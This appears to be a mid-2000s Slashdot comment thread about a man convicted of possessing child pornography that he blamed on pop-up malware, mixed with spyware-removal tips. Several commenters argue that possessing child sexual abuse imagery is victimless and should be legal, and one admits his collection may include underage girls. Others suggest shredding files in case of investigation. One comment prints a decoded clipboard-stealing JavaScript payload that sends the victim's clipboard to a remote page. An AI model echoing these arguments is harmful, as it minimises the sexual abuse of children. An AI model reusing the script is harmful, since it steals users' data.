As I said, telling me what I want to do is "too dangerous" to allow is bullshit. I'm not a child, I can do what I want. Anything else and you might as well just start welding cases shut and putting DRM on all files. All I need to do is copy link location, paste it to IE. Wow, that was hard to circumvent. It's just irritating to have to launch another browser any time I want to run a file.

Re:Spyware Woes

[Lehk228]

so you would like to click a link and have it's contents execute immediately? the fact that IE will download and execute a file automatically is a problem, the solution is downloading the file and running it after a virus scan.

Re:Spyware Woes

[Gldm]

Yes I'd like to be able to select execute this file instead of jumping through hoops to execute it anyway. Like I said, if they want to have the default be you can't execute it, and you have to go into preferences and change that, fine. Just let me freaking change it already. I'm obviously going to run the file if I really want to run it, stop inconveniencing me.

Welcome to the future.

[Gldm]

Where you don't need to do anything damaging or hurtful to commit a crime, just have the wrong information on your computer.

Yay for removal of civil liberties. Oh did the sites any of the images came from get sued? Of course not, it's not their fault they're publishing illegal material (if it even is illegal).

Because we all know looking at pictures is bad. I mean people always do bad things they see in pictures, right? I just can't wait until they finish the thought listening machine so we won't even need pictures for evidence. It'll just be "Hey you! You had bad thoughts about that person, you're obviously going to act on them, get in jail!" Or "Hey you, you thought about doing drugs! We can't have people using untaxed substances to enjoy themselves without hurting others, get in jail so you can learn to become a good consumer of only the harmful products our society approves of and generates money from at the expense of public health!" or "Hey you! You thought the person in charge of this country might be wrong! That's obviously not allowed, come here so we can kill you!"

Re:Welcome to the future.

[Gldm]

Doesn't matter when international quasi-legal corporate organizations are the ones pushing the lawsuits. There is no safe country anymore.

Re:Welcome to the future.

[isorox]

Because we all know looking at pictures is bad.

True.

In other news everyone in the world that's seen the news in the last 2 weeks is being arrested.

Re:Welcome to the future.

[Gldm]

Ironicly, I have yet to see any of those pictures you're probably talking about, since I haven't been watching TV or reading the paper lately. I have seen parodies of them and heard lots of descriptions so I'm fairly sure I'm not missing anything I'd want to see.

Re:Welcome to the future.

[Metallic Matty]

A bit sensationalistic don't you think?

Not that I'm the type to not support jumping from some pedophile to 1984 in one paragraph or less.

Re:Welcome to the future.

[TekGoNos]

There will be no jail in the future.

Instead we will use mind-altering drugs/implanted computer chips to "reprogram" you.

BTW, your vision of the future is disturbing and unacceptable. I'm shure it makes you feel bad too. I garantuee you that this wont happen. Trust us. Just take this blue pill and everything will be fine ...

Re:Welcome to the future.

[lusid1]

Instead we will use mind-altering drugs/implanted computer chips to "reprogram" you. Even worse, the software would be licensed from Microsoft.

Re:Welcome to the future.

[NoMoreNicksLeft]

There is a safe network though... contact me if you like the idea.

Re:Welcome to the future.

[westlake]

Possesion of child pornography is not a "thought crime."

Child pornography is the sexual exploitation of children for private pleasure or commercial gain. It is not by any stretch of the imagination a victimless crime.

If you want to be a part of that world, but at some safe distance, at least have the honesty to admit it.

Re:Welcome to the future.

[Anonymous Coward]

"In other news everyone in the world that's seen the news in the last 2 weeks is being arrested."

Also speaking of the news, it seems to me that violence and murder depected in the news and in movies is far more 'harmful, if harmful at all, then pictures of nude children.

It is a large double standard, images of some illegal activities (like murder) is ok, images of other illegal activities (beastiality, child porno) isn't.

Re:Welcome to the future.

[Brandybuck]

In other news everyone in the world that's seen the news in the last 2 weeks is being arrested.

Who the fuck moderated this as "insightful"? Do you guys really believe the shit you spew? A twisted mind with an axe to grind might moderate this as funny, but only someone living in a complete fantasy land would consider it insightful.

Re:Welcome to the future.

[moosesocks]

You, my friend, have clearly have not been watching the news lately.

How is it not insightful? The horrifying thing is that what they're showing on the news is real. And I'm pretty sure that there's a lot that they aren't showing.

Re:Welcome to the future.

[Brandybuck]

Your links all interesting. But they have nothing to do with the premise of the earlier post. Let me quote that post: "In other news everyone in the world that's seen the news in the last 2 weeks is being arrested."

None of your links does anything at all to demonstrate that anyone is being arrested for watching the news. I've not seen one story of any single person being arrested for having "seen the news in the last 2 weeks."

Re:Welcome to the future.

[Alsee]

His insightful point was that if images of a crime are are themselves harmful, and if posession/looking at them justify prison, then we need to imprison everone who's seen all sorts of crimes on the news.

Either people aren't being imprisoned who should be, or people are being imprsioned who shouldn't be.

-

Re:Welcome to the future.

[damiam]

Child pornography is the sexual exploitation of children for private pleasure or commercial gain. It is not by any stretch of the imagination a victimless crime.

Production of child porn is obviously not a victimless crime, but possession is. Unless you paid for it (funding more production), the mere possession of child porn does nothing to harm children, assuming you don't actually go molest them yourself.

Re:Welcome to the future.

[Alsee]

Possesion of child pornography is not a "thought crime."

Right. It's criminal possession of information.

It gets particularly surreal when people try to justify criminalizing purely fictional information with purely fictional "victims".

If you go up to people without raising the emotional context of child porn and ask them what they think of the concept of "criminal possession of information", no criminal action to harm anyone, no criminal intent to do anything, just pure criminal possession of information, I think it would strike most people as absurd, as the sort of "crime" that only oppressive thought-control regimes like China would ever have.

The very definition of crime is supposed to be based on actually harming someone. Or intending to harm someone. Or knowingly assisting someone to cause harm. Or, at a bare minimum, recklessly risking causing harm to someone. Maybe I missed one, but there should be a very obvious theme here.

It seems pretty simple. If someone does any of those things then you throw them in prison, especially if they do one of those things to a child.

If someone doesn't do any of those things then you don't thrown them in prison, no matter how much you dislike it. I could list plenty of things that I really really dislike, but I have no right to point a gun at people and imprison them unless they HURT somebody.

-

Re:Welcome to the future.

[AoT]

Thank god!!

We can at least be sure it won't work.

Re:Welcome to the future.

[westlake]

Unless you paid for it (funding more production), the mere possession of child porn does nothing to harm children, assuming you don't actually go molest them yourself.

Some folks are in it for the money, others for the kick-off they get knowing their dirty little pics are being downloaded. The price you pay doesn't matter, it's encouraging these creeps to hurt kids which puts you behind bars.

Re:Welcome to the future.

[Rob Simpson]

I'm no Randite, and I've never even read the book, but I remembered this quote:

"There's no way to rule innocent men. The only power any government has is the power to crack down on criminals. Well, when there aren't enough criminals one makes them. One declares so many things to be a crime that it becomes impossible for men to live without breaking laws. Who wants a nation of law-abiding citizens? What's there in that for anyone? But just pass the kind of laws that can neither be observed nor enforced or objectively interpreted - and you create a nation of law-breakers - and then you cash in on guilt."

- _Atlas Shrugged_

Re:Welcome to the future.

[ndevice]

have you been reading arthur c clarke?

Re:Welcome to the future.

[westlake]

Possesion of child pornography is not a "thought crime." Right. It's criminal possession of information.

Information obtained from the criminal abuse of a child, abuse you encourage and financially support. Information that violates the privacy of a child. Information you damn well know you have no moral or legal right to gather and possess without the intent of full and immeadiate disclosure to the police. That is, after all, the minimalist hacker ethic.

It gets particularly surreal when people try to justify criminalizing purely fictional information with purely fictional "victims"

Your argument is altogether too clever, I think. But I suspect if you are in the market for kiddie porn you'll be chasing after the real thing and not the virtual reality.

If you go up to people without raising the emotional context of child porn and ask them what they think of the concept of "criminal possession of information", no criminal action to harm anyone, no criminal intent to do anything, just pure criminal possession of information, I think it would strike most people as absurd, as the sort of "crime" that only oppressive thought-control regimes like China would ever have.

There are many types of information which you have no legal right to possess, no legitimate need to possess, and which no one with an once of sense would entrust to your good faith. You have in fact no god-given right to collect credit card numbers, medical histories, or military secrets as a hobby or a test of your hacking skills.

Re:Welcome to the future.

[Alsee]

abuse you encourage and financially support

LOL. You are turning it into a personal attack.

I also happen to have made quite a few posts in support of gay marriage. I guess I must be gay. I have posted in support of the KKK's right to have a parade and to run their websites. I guess I must be a white supremicist. I have posted that it is better to let a felon go free than to convict him with evidence obtained by a cop who violated the law to obtain that evidence because allowing a criminal police force is more dangerous than any criminal. I guess I must be a felon.

But ok, I'll take the role of the protagonist and ask what "I" have done wrong in various scenarios.

I like redheads. Call me a redophile (chuckle). Lets say I run a newsgroup reader or web-spider for automated downloading. I have no control over what other people have posted in newsgroups or what images a web-spider comes across. It runs overnight. I wake up and start sorting through the automatedly downloaded Gig of random images. Now...

Case (A) I delete 99.98% of the images. I just keep some redheads.
Case (B) I delete 99.98% of the images. I just keep underage images.

I can't wait to hear you explain how case (A) is perfectly legal and magically encourages and finacially supports redhead stuff and how case (B) is illegal and magically encourages and finacially supports underage stuff.

Information that violates the privacy of a child.

You could try that argument if I was distributing it. However we are talking about possession. Lets assume I received it as part of some spam. I've already seen it through no fault of my own, so any privacy violation has already occured. You still have not explained what criminal act is commited by not deleting it. How is mere possession itself a criminal act?

full and immediate disclosure to the police

I don't think there's any requirement for me to contact the police when I see a story/photos on the web of, say, a bank robbery.

But heay, lets go with it anyway and assume I *do* immediately contact the police. Are you advocating correcting the law so that possession would no longer be criminal in that case? If you call the cops when you find it then it's legal to keep it?

That is, after all, the minimalist hacker ethic.

Huh? How did hackers/hacking come up at all?
Are you lumping together everyone you think is "evil"?

[fiction]
Your argument is altogether too clever, I think.

So clever that you entirely failed to answer it.

There do exist drawn and computer generated images. When defining such laws it is question that *must* be resolved. I think it has very fundamental implications for the entire issue. What exactly is and isn't criminal, and why?

I want to hear your position - do you accept that drawings/computer-generated should be perfectly legal? Yes or no? If no, then where do you get the right to imprison me at gunpoint? From a fictional victim?

There are many types of information which you have no legal right to possess... credit card numbers, medical histories, or military secrets

Maybe I'm mistaken, but I don't think you are talking about "possession" crimes at all. It would certainly be a crime for me to break into a doctor's office or military base to steal/copy medical histories or military secrets, but breaking-in and theft are NOT possession crimes.

And as far as I know it is NOT criminal for me to possess credit card numbers without intent to commit fraud, it is NOT criminal for me to possess medical information - it's disclosure that is generally prohibited, and it is not criminal for me to possess military secrets - only to disclose them in some cases.

a test of your hacking skills

As I thought, you aren't talking about possession crime at all. Hacking into a computer is NOT possession.

Your entire post you did nothing but

Re:Welcome to the future.

[damiam]

Unless you download it directly from them, they have no way to know whether or not anyone's looking at their pics.

Re:Welcome to the future.

[robin_j]

It seems pretty simple. If someone does any of those things then you throw them in prison, especially if they do one of those things to a child.

This is the same arguement that cannabis users often use, "we're not hurting anyone". While this is true it doesn't take into account the fact that the drug dealers/producers may have enslaved or murdered people to supply this drug to some rich kids in the states or Europe, the same is true for child porn. While they didn't harm the child directly that child might never of been raped if nobody was willing to pay for the pictures.

You have to look at the bigger picture.

Re:Welcome to the future.

[darkfire5252]

The very definition of crime is supposed to be based on actually harming someone. Or intending to harm someone. Or knowingly assisting someone to cause harm. Or, at a bare minimum, recklessly risking causing harm to someone. Maybe I missed one, but there should be a very obvious theme here

Right. But the very idea behind prosecuting people who posess child pornography is that they are supporting the people that exploit children.

Re:Welcome to the future.

[Tin Foil Hat]

Possession of child pornography is not illegal because of the content of the image, but because a child was abused in the making of it, and by possessing such an image, the accused is aiding or abetting the abuse of a child. For this reason, hand drawn (or computer generated) fictional images of child pornography are not illegal because no child was harmed in the production of that image.

Remember, the law is not supposed to regulate morality. It is supposed to be used to protect the rights of people.

Re:Welcome to the future.

[dustman]

This is the same arguement that cannabis users often use, "we're not hurting anyone". While this is true it doesn't take into account the fact that the drug dealers/producers may have enslaved or murdered people to supply this drug to some rich kids in the states or Europe

This is not a good argument. People get taken advantage of to one degree or another all the time to provide "civilized" countries with things they desire.

Consider:

The diamond trade. (Probably the most heinous example, and it includes the items you mentioned, slavery and murder).

Basically all of the clothing we wear. (Produced in sweatshops by people suffering in conditions that would literally be criminal in the US.)

(don't feel like listing more, but you could probably come up with a few yourself, these are the obvious ones).

If I want to grow some marijuana on a 10x10 piece of my yard, and then smoke it, how am I harming anyone? What "bigger picture" do I need to look at here? Why will I get thrown in jail if I try this?

Note that I am not a cannabis user. But, I know people who are, and I feel it should be legal.

Re:Welcome to the future.

[robin_j]

This is not a good argument. People get taken advantage of to one degree or another all the time to provide "civilized" countries with things they desire.

I think you are missing the point of what I am saying, the point I was trying to make isn't so broad. I'm just saying that by posessing the "illegal information" may not do anybody harm directly but indirectly you can be pretty sure that it does.

This quote from the parent of my original post will probably make it clearer:

If you go up to people without raising the emotional context of child porn and ask them what they think of the concept of "criminal possession of information", no criminal action to harm anyone, no criminal intent to do anything, just pure criminal possession of information, I think it would strike most people as absurd, as the sort of "crime" that only oppressive thought-control regimes like China would ever have.

That's the bigger picture.

Re:Welcome to the future.

[Alsee]

the very idea behind prosecuting people who posess child pornography is that they are supporting the people that exploit children.

There are already laws making it criminal to aid any crime.

Your argument is a logical fallicy. I defy you to explain how pure possession is a criminal act "supporting" anything. If you innocently receive spam with such content, how the hell have you "supported" anything simply by not deleting it?

-

Re:Welcome to the future.

[Alsee]

by possessing such an image, the accused is aiding or abetting the abuse of a child

I have no problem with the law against aiding and abetting the abuse of a child. However that is not the law we are discussing. We are discussing an entirely different law, the law making possession itself criminal.

I videotaped the news a while back. They showed bank video from a robbery. According to you wrote, by possessing those images I am guilty of aiding and abetting bank robbery.

fictional images of child pornography are not illegal

I'm not sure of the current status, but they DID pass such a law. The law also attempted to regulate regular porn on the internet, it was on Slashdot a while ago. It may have been stuck down, but if it was then they either passed a replacement or they want to pass a replacement.

Remember, the law is not supposed to regulate morality. It is supposed to be used to protect the rights of people.

My point exactly.

-

Re:Welcome to the future.

[Alsee]

cannabis users often use, "we're not hurting anyone". While this is true it doesn't take into account the fact that the drug dealers/producers may have enslaved or murdered people to supply this drug to some rich kids in the states or Europe

Chuckle, and that's entirely caused by the criminalization of cannibis.

Criminalization also happens to be entirely hypcritical in the case of cannabis. The health and addictive effects of alcohol and nicotine are vastly worse than cannabis. Either cannabis should be legalized (eliminating many problems, including everything you mentioned), or the drugs alcohol and nicotine should be criminalized.

that child might never of been raped if nobody was willing to pay for the pictures

(1) That's fairly absurd. People who commit rape are not motivated by greed, and someone who rapes a child has vastly more severe issues than greed. Such a person would do it even if they somehow lost money from it.
(2) That certainly does not justify criminalization of fiction (though you have not stated a position on this).
(3) And most importantly, the law criminalizes possession itself. Someone who innocently receives spam with such content and then simply doesn't delete it was not willing to pay anyone for anything. So your argument falls apart.

You have to look at the bigger picture.

For the duration of this discussion I suggest we all refrain from looking at any pictures.

-

Re:Welcome to the future.

[darkfire5252]

Be it data or physical, possession of an item is a well known base for a crime. Pirated software/music/games, viewing pornography if you are under 18, possession of drugs/stolen goods/etc.

If someone were to just hand you a picture of a naked child for no reason, and you threw it away as soon as it was feasible, that's one thing. If you tracked down R@y Gold or whatnot and purchased it, that's another.

Tell me the moral difference between buying a stereo you suspect was stolen, and buying child pornography where the child is most likely being exploited.

Re:Welcome to the future.

[Alsee]

Be it data or physical, possession of an item is a well known base for a crime.

Circular logic. It's can be a crime because it was already criminalized.

As I said before: "If you go up to people without raising the emotional context of child porn and ask them what they think of the concept of 'criminal possession of information', no criminal action to harm anyone, no criminal intent to do anything, just pure criminal possession of information, I think it would strike most people as absurd, as the sort of 'crime' that only oppressive thought-control regimes like China would ever have." Possession of information is a ludacris base for a crime.

If someone were to just hand you a picture of a naked child for no reason, and you threw it away as soon as it was feasible, that's one thing.

You are saying that NOT throwing away a printed peice of paper is a criminal act.

To repeat myself again: "The very definition of crime is supposed to be based on actually harming someone. Or intending to harm someone. Or knowingly assisting someone to cause harm. Or, at a bare minimum, recklessly risking causing harm to someone. Maybe I missed one, but there should be a very obvious theme here.

It seems pretty simple. If someone does any of those things then you throw them in prison, especially if they do one of those things to a child.

If someone doesn't do any of those things then you don't thrown them in prison, no matter how much you dislike it. I could list plenty of things that I really really dislike, but I have no right to point a gun at people and imprison them unless they HURT somebody."

To take another example, the Bible is filled with descriptions criminal acts. Bibles sometimes even have illustrations of criminal acts. So how about we pass a law to imprison anyone in possession of a Bible, criminal possession of information.

-

Re:stop this? me?

[Anonymous Coward]

If you are running Mac OS X or Linux, easy. Noone targets them. If you are running Windows, the steps to a secure windows box are easy:
1. Never use Administrator unless you are doing administrative tasks. If you are using a web browser as Administrator it should be for windowsupdate or device drivers, period.
2. Don't give any user account you create Administrative permissions.
3. Don't open attachments.
4. Use mozilla and disable popups.
5. If the account gets fucked up, delete it and create a new one.

Re:stop this? me?

[Mr.Radar]

Spybot Search & Destroy (best and most up-to-date IMHO)
AdAware (the original big one, not as up-to-date as Spybot S&D, but it still catches stuff Spybot doesn't)
HijackThis (for the really nasty stuff that the others don't get, though this can mess up your computer if it isn't used properly)
SpywareBlaster (it isn't as good as the others mentioned, but it still couldn't hurt)

My mom's PC

[microbob]

Heh, last time I visited my parents my mom complained about all the porno pop-ups. I was like *holy shit* when she showed me what was going on.

Ran ad aware and she had about 280 spyware/crapware programs on her PC (goddam elf blowling program :>)

After we ran that and Search and Destroy, installed Mozilla and ZoneAlarm her system runs much better.

I can see a shred of thruth in this guy's story, but all my porno is placed on my system on purpose (and no, no kiddie stuff :>)

-mb

Re:My mom's PC

[Anonymous Coward]

I remember fixing a pc for my moms friend... it had about 30 porn dialers that would dial out to some number in germany. as soon as windows started IE windows would open one after another until it got a blue screen saying "out of memory", there were porn icons everywhere, like 100 porn links in her favorites. I shut everything down, removed the startup keys in the registry, ran virus scans and adaware/spybot, i think it removed like 700 spyware files and several viruses.. once i got everything cleaned it was like a brand new pc, it was really fast and i made some cash for fixing it =P

Re:My mom's PC

[trawg]

(goddam elf blowling program :>)

ummm, where's the typo here, exactly? What is your mom up to?!

Re:My mom's PC

[Yartrebo]

How do you know that you don't have any kiddie stuff? 17 year olds look very similar to 18 year olds (which seems to be the age of a lot of porn models). I'm guessing that at least a percent or two of P2P porn is kiddie porn that passes for normal porn or is mislabeled. Even porn from the store isn't 100% certified legal. The studios can get duped sometimes. Might be a good idea to have that porn-shredding Bash script ready just in case.

For that reason (and that it's a thought crime), I don't think that privately possesing kiddie porn should be a crime. While it might be sick, it makes a criminal out of too many of us (most who don't even want the stuff), and noone is directly hurt (the act of making the junk is a another crime unto itself, unless you can do it without using minors).

Re:My mom's PC

[real_smiff]

Interesting points. *My* definition of non-kiddie porn is if the girl is post-pubescent. that's obvious in just about any photo. so while i may have girls under [insert legal age in your area here] in my collection, i certainly don't have any pre-pubescent girl pics, and hence, not what most people would call kiddie porn. (and the reason for this, btw, is not that i'm too worried about the law, but that i don't find such pictures attractive). Any lawyers know the score on this topic? Whatever it is, I'm betting you wouldn't get prosecuted unless the girl *looks* pre-pubescent. I'm not taking the moral high-ground (hah! i'm a dirty wanker!) but this ethical code is what works for me.

Re:My mom's PC

[Eccles]

Even porn from the store isn't 100% certified legal.

This includes the Penthouse issue with pictures of Vanessa Williams that led to her resignation as Miss America. The centerfold was then 16-year-old Traci Lords and thus it is illegal to own or sell an unaltered copy.

Re:My mom's PC

[Anonymous Coward]

The centerfold was then 16-year-old Traci Lords and thus it is illegal to own or sell an unaltered copy.

Bzzzzt, guess again. The hardcore flicks with Traci are illegal, but the Penthouse issue is still legal to own.

This is partly because nude photos of underage girls or boys have not universally been ruled 'pornography,' but also because they sold a hell of a lot of those magazines-- millions of copies. It would be impossible to prosecute everyone who owns one.

Just do a search on eBay. The Sept. '84 issue show up in auctions all the time, without eBay or the FBI cracking down.

Re:My mom's PC

[swv3752]

Wrongo. If they look under the legal age of consent (18 in most jurisdictions, better believe that will be used to try you), then it is labeled kiddie porn. Have some pics of Gauge in pigtails? That could get labeled as kiddie porn.

Re:My mom's PC

[A55M0NKEY]

They'll proscute you because it's a chit on their belt. Even searching for well known porn stars ( Traci Lords ) can get you such pictures. Unless you knew her biography, you could easily click on a seemingly legal picture of her on an a.b.p.e usenet group that could be used to put you behind bars and on lists. I wonder how many millions have an illegal Traci Lords picture on their hard drives who think their hard drives are 100% free from illegalities.

On another note, how many people have clicked on goatse.cx accidentally? You don't know what a picture is until you've already downloaded it and it's already on your hard drive. Finding something like that on unallocated space seems like it could easily have come from a browser cache or something.... It's not like they found an IllegalPorn directory.

Re:My mom's PC

[real_smiff]

thanks, that's useful info, and sounds like a fairly sensible law aswell. (OT: why is your karma so bad? you don't seem to deserve 0).

Re:stop this? me?

[malchus842]

If they are running Win2k or XP, delete the user profiles and create new ones. That will clear up a lot. Next, get AdAware and run it on the machine until it reports no problems. Then, install some kind of pop-up blocker (Google toolbar will do). Better yet, install Mozilla or another browser and remove the icons for IE. And of course, AV software.

Next, scan the hard disk for any .jpg, .gif files, etc. Remove any and all not needed on the machine. Get 'eraser' or a similar program which will 'shred' the files when you delete them.

Re:stop this? me?

[GlassUser]

The root of the problem is that your systems are not correctly configured. You should not give administrator/root access unless they're a systems administrator, and they know to use it only to do administrative stuff. NEVER run a web browser as an administrator.

I made a script that will fix a lot of the symptoms, and part of the problem, for windows machines. It will not fix the user issue though.
http://www.jordanmills.com/prunev3.vbs

What does this mean?

[bcore]

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

Anyone have any idea what they are talking about here? Do they mean like the files were deleted? What does that prove?

Re:What does this mean?

[Anonymous Coward]

It means that the files were deliberately downloaded, then deleted. Windows doesn't delete files, it simply marks the space as "empty". Caching uses a database structure, so it doesn't get deleted in the same way a regular file does. It's possible to delete it manually, but if it was, it still prove he knew about it.

Of course, it doesn't really mean anything, because they could have come from the prevous owner.

Re:What does this mean?

[Darth_brooks]

Sounds like press release-ese for "The images weren't just in the browser cache, but saved to his My Docmuents or Home Directory. Browers cache images, but these were also saved purposly by the user."

Re:What does this mean?

[exp(pi*sqrt(163))]

I don't understand. When IE flushes its cache it deletes the images. It doesn't delete them, in the sense of wiping the data, it just removes a pointer to them and marks the space that the file occupied as unallocated. This is exactly what was found on his disk.

Re:What does this mean?

[mabhatter654]

So he could have been punished even after he thought he rightfully deleted them!!! That's right folks, if they want they'll not only go thru your caches, but also run an undelete program against your disks! That's simply not fair!!! because at that point, your not "posessing" the material anymore.. even your intent was to remove them! that's a VERY dangerous slope!!

Re:What does this mean?

[SuiteSisterMary]

Or mayhaps he was trying to clean up the machine. Or, as another pointed out, perhaps a previous computer owner was deleting files. Or partitions. Or something.

Re:What does this mean?

[rodgster]

My read on this is that the browser cache was either deleted or overflowed.

That is something I do on most machines I touch. In addition to clear history, delete temp files, etc.

I've seen porn pop-ups on the PCs of people from all walks of life: young, old, professional (attorneys, etc), cops, CEO, retirees, women, you name it.

I can't say if any of them contained kiddie porn, don't know, don't want to know, not my yob man.

Mozilla

[Ryan Stortz]

Not only will Mozilla (and Firefox)'s built-in popup blocking help you. They also do not support ActiveX scripting. You have to get a plugin for it, and even once you have the plugin installed the controlls are tighter.

Who's the moron that thought it'd be cool to embed executable code in a web page anyway? Well, he's not as big of a moron as the guy who let it execute ANY code.

Re:Mozilla

[Gldm]

I have no idea who could have thought that using executable scripts was a good idea. It was probably the same people who thought up those annoying frames and then used their massive 85% marketshare monopoly to force everyone else to comply. I hope someone will someday give them what they have coming.

Re:Mozilla

[trawg]

Who's the moron that thought it'd be cool to embed executable code in a web page anyway? Well, he's not as big of a moron as the guy who let it execute ANY code.

Probably the same guy who thought it might be a good idea to let Windows users keep their systems up to date via a single web page!

Re:Mozilla

[Agile Monkey]

Actually, Firefox's popup blocking will not always help. I've been tricked into clicking on links to "shock sites" that besides showing the usual disgusting goatse pictures, also have an infinite amount of popups until you end the process.

Firefox does a good job normally, but there is still some hostile javascript that it is very susceptible to.

This...

[labratuk]

This reminds me of the saying "Nobody ever got fired for choosing Windows".

"No, but it did get someone registered as a sex offender."

Re:stop this? me?

[Tal0n]

Adaware

Re:stop this? me?

[monophaze]

You can get rid of it by running a personal firewall such as Kerio and scanning your system for spyware and what not with Ad-aware,Spybot-S&D, and Others

Re:stop this? me?

[IvyMike]

what's the best way to get rid of this crap?

• Ad-aware
• Spybot
• Cool Web Shredder Specific to CWS, but if you've got that, this is a necessity
• And while you're at it, for your own computer, don't forget the virus-checker, the hardware firewall, and maybe even the software firewall. Public computers are a Wretched Hive of Scum and Villainy, so if you're forced to use them, mentally adapt your practices to account for that. (Expect every virus/trojan/keycapture program written.)

And for the love of all that is holy, tell everybody you know to stop using IE. If you're the tech support guy for your friends and family, have them start using firefox. Because sooner or later, if you don't, they'll get CWS and you'll be at their house helping them for a LONG time.

Re:stop this? me?

[Anonymous Coward]

3 more:

6. Use windows update religiously.
7. Use a firewall or at least the crappy virtual firewall software that MS provides.
8. Something that has been put out for the last 40 years in the CS world: backup!

Strangely enough

[Flower]

For two whole pages the article is a fairly quick read.....

fwiw, the answer you seek is in a quote at the end.

Even if innocent, pleading guilty was the right

[RedHatLinux]

thing to do.

Seriously, if you are innocence in a case like this, how are you going to prove it? Odds are, you'll end you get assigned some asshat public defender and judge who wont know how to handle the case and wont care anyway.

Unless you have serious money, challenging the government by fighting a prosecution is stupid. You waste your time and money, and end up with a stiffer jail sentence. Just plead guilty, rat out some druggie friends and go for the best deal possible

I'm glad I use

[diesel66]

a Mac. Nobody knows that I am a perverted sex offender!

Whoops, should have posted anonymous...

Re:I'm glad I use

[KingReuben]

A Mac won't save you. Check out some of those URL's people posted here of malware sites that work just dandy even in Mozilla and even on Macs.

Link?

[thedillybar]

Who has a link for some malware? Apparently all I have to do is put it somewhere and my harddrive, and I am no longer responsible for anything that I do on my computer. After all, it was compromised!

This is a crappy defense. Endusers need to become more aware of what's going on, and, at the same time, less capable of installing shit like this.

Re:Link?

[Colazar]

You're right it is a crappy defense. It doesn't work. If you believe the guy's story, he was unjustly convicted. Not a happy outcome for him, so I would not recommend trying to replicate it.

The real problem is that if you are technologically challenged enough to have this happen to you, you aren't going to know how to prove that this was what happened. And if you *can* prove that it happened, people are going to doubt that you were stupid enough to fall for it in the first place.

Re:Link?

[cyfer2000]

The big bother may seizure your computer as evidence, if you are lucky, they may break into your house ten years later at 3am, and return you the evidence.

Re:Link?

[KarmaMB84]

So you actually think that if someone's system is say infected by an exploit and the FBI finds child porn on it that was installed by the exploit, that user should go to prison as a sex offender?

It is the user's responsibility if a normally legal site opens up dozens of random illegal popups? Wow.

Re:Link?

[thedillybar]

No, but can I punish someone when their virus-infected computer sends me spam, attacks my computer, and floods my network with bogus traffic?

I should be able to, and it's the same principal. If your car is on the road, you are responsible for its actions. The same should apply to your computer on a public network. In this case, it didn't hurt "innocent bystanders," but many times it does.

Oh my...

[susano_otter]

Once again absolute rules screws common sense.

For example, here's an absolute rule:

If there is no intent, there should be no crime.

And here's some common sense: while you can deduce intent from physical evidence and documented actions, it's the evidence and actions of the suspect that make the crime, not the idea. What your rule demands is that we prosecute thought crimes, and only thought crimes.

The man probably didn't want to open up the string of popups,

That's a good guess, but how accurate is it? How trustworthy is it? How sure can you be that the man did not want to open all these pop-ups (either for their own sake, or as an acceptable side effect of some other intentional act)? Shouldn't you be looking at the actual physical evidence and documented activity, in order to determine what crime has been committed, and by whom? Basing your investigation on a wild-ass guess about the ideas in the head of the suspect doesn't seem very much like common sense to me.

therefor is not responsible for this.

Once again, absolute rules screw common sense.

Re:Oh my...

[canwaf]

And here's some common sense: while you can deduce intent from physical evidence and documented actions, it's the evidence and actions of the suspect that make the crime, not the idea. What your rule demands is that we prosecute thought crimes, and only thought crimes.

Once can produce intent by going on past activities, and personality disections. Also, one could simply view the urls requested in order, and see which site set off the chain. If we can not prove beyond a reasonable doubt this guy wacks off to kiddie porn, and is a threat to children everywhere, should he be in the registry?

Re:Oh my...

[susano_otter]

You make some good points, and I'm not disputing any of them. Rather, I'm disputing the argument that we can assume that the suspect did not intend to open those popups, therefore he is not the criminal we are looking for. Clearly, the investigation should dig a little deeper than that (as you quite rightly propose).

Reminds me of this video

[borwells]

Animal porn popup causes guy to lose his job and ruins his life. Farmsluts

You can't laugh this off, not even with Mozilla..

[Anubis333]

Malware is here to stay. I clean it of the computers of friends and family constantly. You can't hide behind Mozilla -or anything for the matter. You can use Ad-Aware or the like, and that's about it. I gave up on trying to make others understand what 'safe browsing' habits are. Malware no longer requires you to click 'ok' to something. It just hijacks your system on page load. I myself had a Java based trojan install an ftp daemon in my system folder with an INI file that had accounts named 'xdcc-warez' etc.. I am very secure, but I wouldn't have known about this intruder unless my firewall would have reported the ftp daemon opening the port.

I have tried many types of virus protection and I refuse to run them. Symantec 2004 'Pro' or 'Corporate' is EXTREMELY intrusive. With *ALL* the auto search and protection off, it still runs many services that take over 15mb of ram! McAffee and everything else is about the same. I am all about performance, I will not have adware and virus protection software scanning every file written to my HD, every word doc I open, email I send, or page i visit; that's ridiculous; not to mention with all those things of, the services are still there for some reason. Also, I don't need a HUGE GUI interface with animated gifs and crap.

Spyware is here to stay, get some somewhat non-intrusive software to protect your family and friends, and as for yourself, I guess just check your firewall, and/or have it alert you when a weird program or service wants access.

Re:stop this? me?

[Anonymous Coward]

Users don't like this answer. Give them a software fix and they'll be happy (in ignorance), but tell them to change their operating habits and they will be offended.

CWS tools

[antdude]

See section 3.1 in Broadband Reports' FAQ. I had to deal this on a Windows 2000 SP4 machine (not mine) recently. Very annoying!

good malware

[mcguyver]

I received this link earlier today as spam... It took all the touble out of trying to find free porn on the net - thanks browser hijackers, whoever you are!

evil link to hijack your browser and force fee you porn - windows users click link at your own risk

Re:good malware

[platipusrc]

What would that page normally do? Whenever I clicked, it just opened to a blank page. I even changed my browser ID to IE6 on XP and it stayed blank.

Re:good malware

[Jeremy Erwin]

A good bit of it is devoted to decoding a coded string. I converted the code into C++, ran it and found that it references

http://counter.spros.com/1/count.html

which apparently contains some code for reading the contents of the pasteboard.

<form name="clip" method="post" action="index.php" style="display:none">
<input type="text" name="content">
<input type="hidden" name="send" value="1">
<input type="hidden" name="refer" value="">
<input type="hidden" name="n" value="">
<input type="submit">
</form>
<script language="javascript">
if (typeof clipboardData != 'undefined') {
var content = clipboardData.getData("Text");
document.forms["cl ip"].elements["content"].value = content;
}
document.forms["clip"].submit();
</s cript>

It's not funny

[DigiShaman]

Being labeled as a "sex offender" will ruin your life forever in America. Once your labeled, I don't think there is anyway of getting rid of this title. I call it a title because it's exactly that. Try getting a job with a future employer. Try finding a place to live. Try anything. Once you're labeled, the stigma ostracizes you from the rest of society. It's enough to make you flee from the country, or commit suicide.

I guess what I'm getting at is this. If your going to be labeled as a "sex offender". The government better damn well have compelling evidence to label you as one. And I don't think having porn on your computer counts. Sex is natural and part of human nature. It's only when it becomes "offensive" to others around you that's at question.

Re:It's not funny

[lightspawn]

It's enough to make you flee from the country, or commit suicide.

I'm sure lots of countries would be happy to have these registered sex offenders.

